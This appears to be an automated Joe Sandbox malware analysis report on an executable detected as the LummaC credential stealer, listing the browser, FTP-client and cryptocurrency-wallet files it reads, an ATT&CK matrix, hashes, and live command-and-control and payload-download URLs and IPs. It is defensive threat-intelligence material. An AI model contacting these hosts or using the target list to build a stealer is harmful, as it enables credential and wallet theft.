Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1044850890.000000000129C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BTn1AT2k3Y.exe PID: 6576, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BTn1AT2k3Y.exe PID: 6576, type: MEMORYSTR
Source: Yara match	File source: 0.2.BTn1AT2k3Y.exe.8d0000.0.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	44 Virtualization/Sandbox Evasion	2 OS Credential Dumping	861 Security Software Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	44 Virtualization/Sandbox Evasion	Remote Desktop Protocol	41 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	4 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Software Packing	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
BTn1AT2k3Y.exe	71%	Virustotal		Browse
BTn1AT2k3Y.exe	74%	ReversingLabs	Win32.Trojan.Amadey
BTn1AT2k3Y.exe	100%	Avira	TR/Crypt.TPM.Gen

Source	Detection	Scanner	Label
https://defaulemot.run:443/jUSiazV	100%	Avira URL Cloud	malware
https://defaulemot.run/A	100%	Avira URL Cloud	malware
https://defaulemot.run/e	100%	Avira URL Cloud	malware
https://defaulemot.run/jUSiaz$$Z7	100%	Avira URL Cloud	malware
http://176.113.115.7:80/mine/random.exeiles	0%	Avira URL Cloud	safe
https://defaulemot.run:443/jUSiazgram	100%	Avira URL Cloud	malware
https://defaulemot.run:443/jUSiaz=C:	100%	Avira URL Cloud	malware
https://defaulemot.run/	100%	Avira URL Cloud	malware
https://defaulemot.run/jUSiaz	100%	Avira URL Cloud	malware
https://begindecafer.world/QwdZdf-	100%	Avira URL Cloud	malware
http://176.113.115.7/a	0%	Avira URL Cloud	safe
http://176.113.115.7/qS	0%	Avira URL Cloud	safe
https://begindecafer.world:443/QwdZdfOFILE=user-PCUSERNAME=userUSERPROFIL	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
defaulemot.run	104.21.80.1	true	false		high
begindecafer.world	188.114.97.3	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://defaulemot.run/jUSiaz	false	Avira URL Cloud: malware	unknown
https://begindecafer.world/QwdZdf	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/ac/?q=	BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://defaulemot.run/e	BTn1AT2k3Y.exe, 00000000.00000003.1077284092.00000000012FB000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1077361195.00000000012FC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/v20Y&	BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://defaulemot.run:443/jUSiazV	BTn1AT2k3Y.exe, 00000000.00000003.1038396298.0000000001313000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://defaulemot.run/A	BTn1AT2k3Y.exe, 00000000.00000003.1077284092.00000000012FB000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1077361195.00000000012FC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	BTn1AT2k3Y.exe, 00000000.00000003.990238682.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org?q=	BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.7/mine/random.exe	BTn1AT2k3Y.exe, 00000000.00000003.1205691158.000000000130B000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1205751122.00000000012F0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	BTn1AT2k3Y.exe, 00000000.00000003.990238682.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.7:80/mine/random.exeiles	BTn1AT2k3Y.exe, 00000000.00000002.1208488677.000000000129E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://defaulemot.run:443/jUSiaz=C:	BTn1AT2k3Y.exe, 00000000.00000002.1208488677.000000000129E000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1185454812.000000000129E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BTn1AT2k3Y.exe, 00000000.00000003.991579719.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://defaulemot.run/jUSiaz$$Z7	BTn1AT2k3Y.exe, 00000000.00000002.1208488677.000000000129E000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1185454812.000000000129E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.	BTn1AT2k3Y.exe, 00000000.00000003.1038207969.0000000005AA5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	BTn1AT2k3Y.exe, 00000000.00000003.990238682.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	BTn1AT2k3Y.exe, 00000000.00000003.990238682.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://defaulemot.run/	BTn1AT2k3Y.exe, 00000000.00000002.1208794827.00000000012F1000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1077284092.00000000012FB000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1104811202.00000000012FB000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1104407496.00000000012FB000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1077361195.00000000012FC000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.919188760.0000000001284000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1205751122.00000000012F0000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1185544500.00000000012FB000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1185376073.00000000012FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtabv20	BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	BTn1AT2k3Y.exe, 00000000.00000003.990238682.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://begindecafer.world/QwdZdf-	BTn1AT2k3Y.exe, 00000000.00000003.1185376073.000000000130D000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000002.1208794827.000000000130D000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1205691158.000000000130B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://defaulemot.run:443/jUSiazgram	BTn1AT2k3Y.exe, 00000000.00000003.1185454812.000000000129E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://begindecafer.world:443/QwdZdfOFILE=user-PCUSERNAME=userUSERPROFIL	BTn1AT2k3Y.exe, 00000000.00000002.1208488677.000000000129E000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1185454812.000000000129E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	BTn1AT2k3Y.exe, 00000000.00000003.1038207969.0000000005AA5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	BTn1AT2k3Y.exe, 00000000.00000003.1038207969.0000000005AA5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	BTn1AT2k3Y.exe, 00000000.00000003.991579719.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gemini.google.com/app?q=	BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://begindecafer.world/	BTn1AT2k3Y.exe, 00000000.00000003.1205691158.000000000130B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://176.113.115.7/a	BTn1AT2k3Y.exe, 00000000.00000002.1208794827.00000000012F1000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1205751122.00000000012F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.115.7/qS	BTn1AT2k3Y.exe, 00000000.00000002.1208794827.00000000012F1000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1205751122.00000000012F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.115.7/	BTn1AT2k3Y.exe, 00000000.00000002.1208794827.00000000012F1000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1205751122.00000000012F0000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
176.113.115.7	unknown	Russian Federation	49505	SELECTELRU	false
188.114.97.3	begindecafer.world	European Union	13335	CLOUDFLARENETUS	false
104.21.80.1	defaulemot.run	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1632962
Start date and time:	2025-03-09 13:48:16 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	BTn1AT2k3Y.exe renamed because original name is a hash value
Original Sample Name:	ff1ebb565ca943b117ab688e10e9f10b.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@2/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, sppsvc.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 23.199.214.10, 4.175.87.197
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, c.pki.goog, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:49:17	API Interceptor	23x Sleep call for process: BTn1AT2k3Y.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
176.113.115.7	uw7A6EF76R.exe	Get hash	malicious	Amadey	Browse	176.113.115.7/mine/random.exe
	OjM4NF84XM.exe	Get hash	malicious	Amadey, GCleaner, LummaC Stealer	Browse	176.113.115.7/files/martin2/random.exe
	random.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	176.113.115.7/files/6386900832/PfOHmro.exe
	AaxpYFDQ32.exe	Get hash	malicious	Amadey, Credential Flusher, GCleaner, LummaC Stealer, Stealc	Browse	176.113.115.7/files/1203326979/9jkTUAK.exe
	random.exe	Get hash	malicious	Amadey	Browse	176.113.115.7/mine/random.exe
	am_no.bat	Get hash	malicious	Amadey, Credential Flusher, Healer AV Disabler, LummaC Stealer, Stealc	Browse	176.113.115.7/mine/random.exe
	LtCPevm69G.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Poverty Stealer, PureLog Stealer, Stealc, Vidar	Browse	176.113.115.7/files/6491397189/T0QdO0l.exe
	mQRr8Rkorf.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	176.113.115.7/files/5149365135/bncn6rv.exe
	TYqeL76sa1.exe	Get hash	malicious	Amadey, GCleaner, LummaC Stealer, PureLog Stealer	Browse	176.113.115.7/files/fate/random.exe
	aV2ffcSuKl.exe	Get hash	malicious	Amadey, GCleaner, LummaC Stealer, PureLog Stealer, Stealc, SystemBC, Vidar	Browse	176.113.115.7/steam/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
begindecafer.world	OjM4NF84XM.exe	Get hash	malicious	Amadey, GCleaner, LummaC Stealer	Browse	188.114.96.3
	6DRdNEnOMn.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	random.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	188.114.97.3
	random.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	kS9YOZjwfn.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	0V0Q7kWH0N.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	AaxpYFDQ32.exe	Get hash	malicious	Amadey, Credential Flusher, GCleaner, LummaC Stealer, Stealc	Browse	188.114.97.3
	random.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	am_no.bat	Get hash	malicious	Amadey, Credential Flusher, Healer AV Disabler, LummaC Stealer, Stealc	Browse	188.114.96.3
	CgmaT61.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
defaulemot.run	OjM4NF84XM.exe	Get hash	malicious	Amadey, GCleaner, LummaC Stealer	Browse	104.21.16.1
	6DRdNEnOMn.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	Setup.exe	Get hash	malicious	Xmrig	Browse	104.21.48.1
	AaxpYFDQ32.exe	Get hash	malicious	Amadey, Credential Flusher, GCleaner, LummaC Stealer, Stealc	Browse	104.21.112.1
	am_no.bat	Get hash	malicious	Amadey, Credential Flusher, Healer AV Disabler, LummaC Stealer, Stealc	Browse	104.21.32.1
	LtCPevm69G.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Poverty Stealer, PureLog Stealer, Stealc, Vidar	Browse	104.21.32.1
	mQRr8Rkorf.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	104.21.48.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	xwM9kaAoeY.bat	Get hash	malicious	Unknown	Browse	104.26.13.205
	OjM4NF84XM.exe	Get hash	malicious	Amadey, GCleaner, LummaC Stealer	Browse	104.21.64.1
	6DRdNEnOMn.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	Nexol.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, XWorm	Browse	104.20.4.235
	jaws.elf	Get hash	malicious	Unknown	Browse	198.41.197.98
	r6Z7Bbiybp.exe	Get hash	malicious	Unknown	Browse	104.26.4.71
	r6Z7Bbiybp.exe	Get hash	malicious	Unknown	Browse	104.26.4.71
	http://fn49.xyz	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://garyjobeferguson.com	Get hash	malicious	Unknown	Browse	172.67.167.92
	CollapseLoader_2.0.1.exe	Get hash	malicious	SheetRat	Browse	188.114.96.3
CLOUDFLARENETUS	xwM9kaAoeY.bat	Get hash	malicious	Unknown	Browse	104.26.13.205
	OjM4NF84XM.exe	Get hash	malicious	Amadey, GCleaner, LummaC Stealer	Browse	104.21.64.1
	6DRdNEnOMn.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	Nexol.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, XWorm	Browse	104.20.4.235
	jaws.elf	Get hash	malicious	Unknown	Browse	198.41.197.98
	r6Z7Bbiybp.exe	Get hash	malicious	Unknown	Browse	104.26.4.71
	r6Z7Bbiybp.exe	Get hash	malicious	Unknown	Browse	104.26.4.71
	http://fn49.xyz	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://garyjobeferguson.com	Get hash	malicious	Unknown	Browse	172.67.167.92
	CollapseLoader_2.0.1.exe	Get hash	malicious	SheetRat	Browse	188.114.96.3
SELECTELRU	uw7A6EF76R.exe	Get hash	malicious	Amadey	Browse	176.113.115.6
	OjM4NF84XM.exe	Get hash	malicious	Amadey, GCleaner, LummaC Stealer	Browse	176.113.115.6
	Wm69mmj9tV.exe	Get hash	malicious	Amadey	Browse	176.113.115.6
	random.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	176.113.115.6
	random.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, zgRAT	Browse	176.113.115.6
	dxRwXy19pq.exe	Get hash	malicious	Socks5Systemz	Browse	176.113.115.96
	AaxpYFDQ32.exe	Get hash	malicious	Amadey, Credential Flusher, GCleaner, LummaC Stealer, Stealc	Browse	176.113.115.6
	random.exe	Get hash	malicious	Amadey	Browse	176.113.115.6
	random.exe	Get hash	malicious	Amadey	Browse	176.113.115.6
	TP0yQg10gy.exe	Get hash	malicious	Amadey	Browse	176.113.115.6

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	OjM4NF84XM.exe	Get hash	malicious	Amadey, GCleaner, LummaC Stealer	Browse	188.114.97.3 104.21.80.1
	6DRdNEnOMn.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 104.21.80.1
	random.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	188.114.97.3 104.21.80.1
	random.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 104.21.80.1
	random.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 104.21.80.1
	413a42a4c715693c37e5256e144fd76cc51160b74617024d.xll.ps1	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 104.21.80.1
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 104.21.80.1
	Set-up.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer	Browse	188.114.97.3 104.21.80.1
	Setup.exe	Get hash	malicious	Xmrig	Browse	188.114.97.3 104.21.80.1
	Magic_V_pro_setup_stable_latest_release_version_9_709.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 104.21.80.1

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.672396232891035
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	BTn1AT2k3Y.exe
File size:	3'190'784 bytes
MD5:	ff1ebb565ca943b117ab688e10e9f10b
SHA1:	d35fdcd2b00a60afec28bd9579c3461ba1225671
SHA256:	26d09f46d3cc20583ea59a17a3ea6eb482b1e7171bf7a98f17032b2606f7bbdd
SHA512:	28b455133d0295f7336762e9c4a26f408a7c28505ecec9ad0a15069354bc41f72523e2b3c1a2a9dce1620d0d43964512259a376816e96f6d7d807b7db5e69ebe
SSDEEP:	49152:OBaAgnAX+BKQGguHFCqmbG4Bb41BeFvSry6vqB32FSM:SaAgAX+QQGgacvMf3qz
TLSH:	6AE54A62F57DA9CBD48A13B485A7CF826E5D03FD471405D3D8A8647A7EA3CF006B9C28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......g..............................0...........@...........................0.....}51...@.................................W...k..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x70c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67C9DDEB [Thu Mar 6 17:39:55 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F33747D592Ah
jng 00007F33747D5956h
add byte ptr [eax], al
